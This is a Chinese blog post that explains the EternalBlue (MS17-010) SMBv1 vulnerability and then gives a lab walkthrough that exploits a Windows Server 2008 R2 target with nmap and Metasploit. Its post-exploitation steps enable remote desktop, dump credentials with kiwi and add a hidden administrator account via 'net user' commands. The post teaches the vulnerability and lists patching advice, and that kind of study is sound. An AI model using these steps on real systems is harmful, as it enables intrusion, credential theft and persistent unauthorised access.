永恒之蓝

原文:永恒之蓝渗漏洞复现:原理详解+环境搭建+渗透实战(CVE-2017-0144) - 详解 - jzssuanfa - 博客园

一、永恒之蓝

1、漏洞简介

"永恒之蓝"(EternalBlue)是一个利用微软Windows系统SMBv1协议MS17-010漏洞的远程代码执行攻击工具。它最初由美国国家安全局(NSA)开发,在2017年4月被黑客组织"影子经纪人"(Shadow Brokers)泄露,随后被用于全球性的大规模网络攻击,例如同年5月爆发的WannaCry勒索病毒事件

项目 详细说明
漏洞名称 永恒之蓝 (EternalBlue)
官方编号 MS17-010
漏洞类型 远程代码执行 (Remote Code Execution)
影响协议 SMBv1 (服务器消息块协议版本 1)
风险等级 高危 / 严重
影响范围 Windows NT 系列操作系统,包括 Windows XP, 7, 8, Server 2003, 2008, 2012 等
利用端口 TCP 445
核心原理 利用 SMBv1 协议特制请求时的缓冲区溢出漏洞,攻击者无需用户名密码即可远程控制目标
主要危害 1. 系统完全被控:获取系统级最高权限。 2. 蠕虫式传播:可在内网中自我复制传播。 3. 植入恶意软件:如勒索病毒、挖矿木马、后门等。
著名事件 WannaCry 勒索病毒、NotPetya 勒索病毒
防护措施 1. 安装补丁:及时安装微软官方发布的 MS17-010 补丁。 2. 关闭端口:在防火墙禁用 135、139、445 端口的外部访问。 3. 升级协议:禁用老旧的 SMBv1 协议,升级至 SMBv2 或 v3。

2、漏洞原理

永恒之蓝的本质是一个 SMBv1 协议中的远程代码执行漏洞

(1)漏洞根源:缓冲区溢出

漏洞存在于 Windows SMBv1 服务器的 srv.sys 内核驱动文件中。具体位置在处理 SMBv1 的 Trans2 二次请求 时。

  • 正常情况:客户端请求数据时,会告知服务器缓冲区大小,服务器根据这个大小来分配和拷贝内存。
  • 漏洞情况:攻击者可以在一个数据包中,谎报实际数据量(比如声称数据量很小),但实际发送的数据量却很大。由于缺乏严格的边界检查,srv.sys 会将这些过量的数据拷贝到内核中一个分配好的、但尺寸不足的缓冲区里。

(2)内核内存的越界写入

这导致了 内核级的缓冲区溢出。多余的数据会覆盖缓冲区之后的内核内存空间。这部分被覆盖的内存原本存储着其他重要的数据或代码。

(3)精妙的利用:从溢出到代码执行

单纯让系统崩溃(蓝屏)是简单的,但实现远程代码执行是复杂的。永恒之蓝的精妙之处在于它如何精准控制这一溢出过程:

  • 精心构造的溢出数据:攻击者发送的数据包中,溢出部分不是随机数据,而是精心编排的:
  • Shellcode:一小段用于执行最终目标的机器代码。
  • 内存布局操控数据:用于引导系统执行流跳转到攻击者的 Shellcode。
  • 利用内存池的可预测性:Windows 内核使用一种叫 内存池 的机制来管理内存。永恒之蓝通过多次发送特定大小的SMB数据包,来“塑造”内核内存池的布局,使其变得相对可预测。这确保了当溢出发生时,溢出数据会覆盖到一个已知且有用的位置。
  • 函数指针覆盖:一种常见的技术是覆盖一个 函数指针返回地址。当内核后续需要调用这个函数时,它实际上跳转到了被攻击者覆盖的地址,从而开始执行攻击者的 Shellcode。

(4)权限提升与载荷部署

  • 权限:由于漏洞发生在内核层(Ring 0),成功利用后获得代码执行权限是 系统最高权限
  • 载荷:攻击者预先准备好的 Shellcode 通常会执行以下操作:
  • 在目标系统上创建一个新的系统进程。
  • 从攻击者的机器下载并运行真正的恶意载荷(例如:后门程序、Meterpreter 等)。
  • 这个后门程序通常以最高权限运行,从而完全控制目标机器。

3、攻击链条

步骤 关键动作 结果
1. 侦察 扫描开放 445 端口的 Windows 机器。 发现潜在目标。
2. 触发 发送特殊构造的 SMBv1 Trans2 请求数据包。 触发 srv.sys 中的缓冲区溢出漏洞。
3. 利用 溢出数据覆盖内核内存,控制程序执行流。 跳转并执行攻击者的 Shellcode。
4. 执行 Shellcode 以 SYSTEM 权限运行,加载最终载荷。 目标系统被完全控制。

4、受影响的操作系统

永恒之蓝(MS17-010)漏洞影响范围非常广泛,涵盖了当时几乎所有主流的 Windows 操作系统版本。以下是受影响的存在漏洞的操作系统列表,在2017年3月之前发布且未及时安装MS17-010补丁的Windows系统,几乎全部暴露在永恒之蓝漏洞的威胁之下。

操作系统系列 具体版本
Windows NT Windows NT 4.0
Windows 2000 所有版本
Windows XP 所有版本(包括 x64 和 Embedded)
Windows Vista 所有版本
Windows Server 2003 所有版本(包括 R2)
Windows 7 Windows 7 SP1 及之前的所有版本
Windows Server 2008 所有版本(包括 R2,SP1 及之前)
Windows 8 所有版本
Windows 8.1 所有版本
Windows Server 2012 所有版本(包括 R2)
Windows 10 2017年3月之前发布的版本(包括初版、1511、1607)
Windows Server 2016 2017年3月之前发布的初始版本

二、实战

靶机:windows server 2008 R2 【192.168.88.141】
攻击机:kali 192.168.88.132,并将靶机防火墙关闭

一、扫描主机存活

nmap -sn 192.168.88.0/24

image-20260428171939858

二、nmap探测EternalBlue漏洞

nmap --script=vuln 192.168.88.141
#运行所有与漏洞检测相关的nmap脚本

#结果显示Smb-vuln-ms17-010: VULNERABLE

注:若漏洞后面出现 NT_STATUS_ACCESS_DENIED ,即访问被拒绝,nmap在探测此漏洞时,因权限被授予目标拒绝了访问
image-20260428171909267

三、渗透实战

①kali开启msfconsole
②search ms17-010,并使用模块0(exploit/windows/smb/ms17_010_eternalblue),即use 0
③Show Options配置RHOSTS = 192.168.88.141
④run,成功渗透

四、后渗透

①sysinfo显示靶机系统信息,getuid查看用户身份
②meterpreter > run post/windows/manage/enable_rdp 开启远程桌面
③抓取密码凭证:(1)load kiwi (2)creds_all

image-20260428171826170

④可添加用户:shell进入目标shell
(1) net user doll 123 /add
(2) net localgroup administrators doll /add
⑤kali上rdesktop 192.168.88.141可连接靶机远程桌面

注:MSF补充

【1】show options 里面对应的Exploit target是用来指定当前漏洞利用模块所针对的目标系统类型,可以通过info来查看

这里的Automatic Target是让msf自动识别目标并攻击

image-20260428191219371

【2】输入info查看配置并重新配置

image-20260428191658729

set target 3即可设置为目标对应的操作系统

image-20260428191814246

posted @ 2026-06-19 12:54  Doll_Marker  阅读(30)  评论(0)    收藏  举报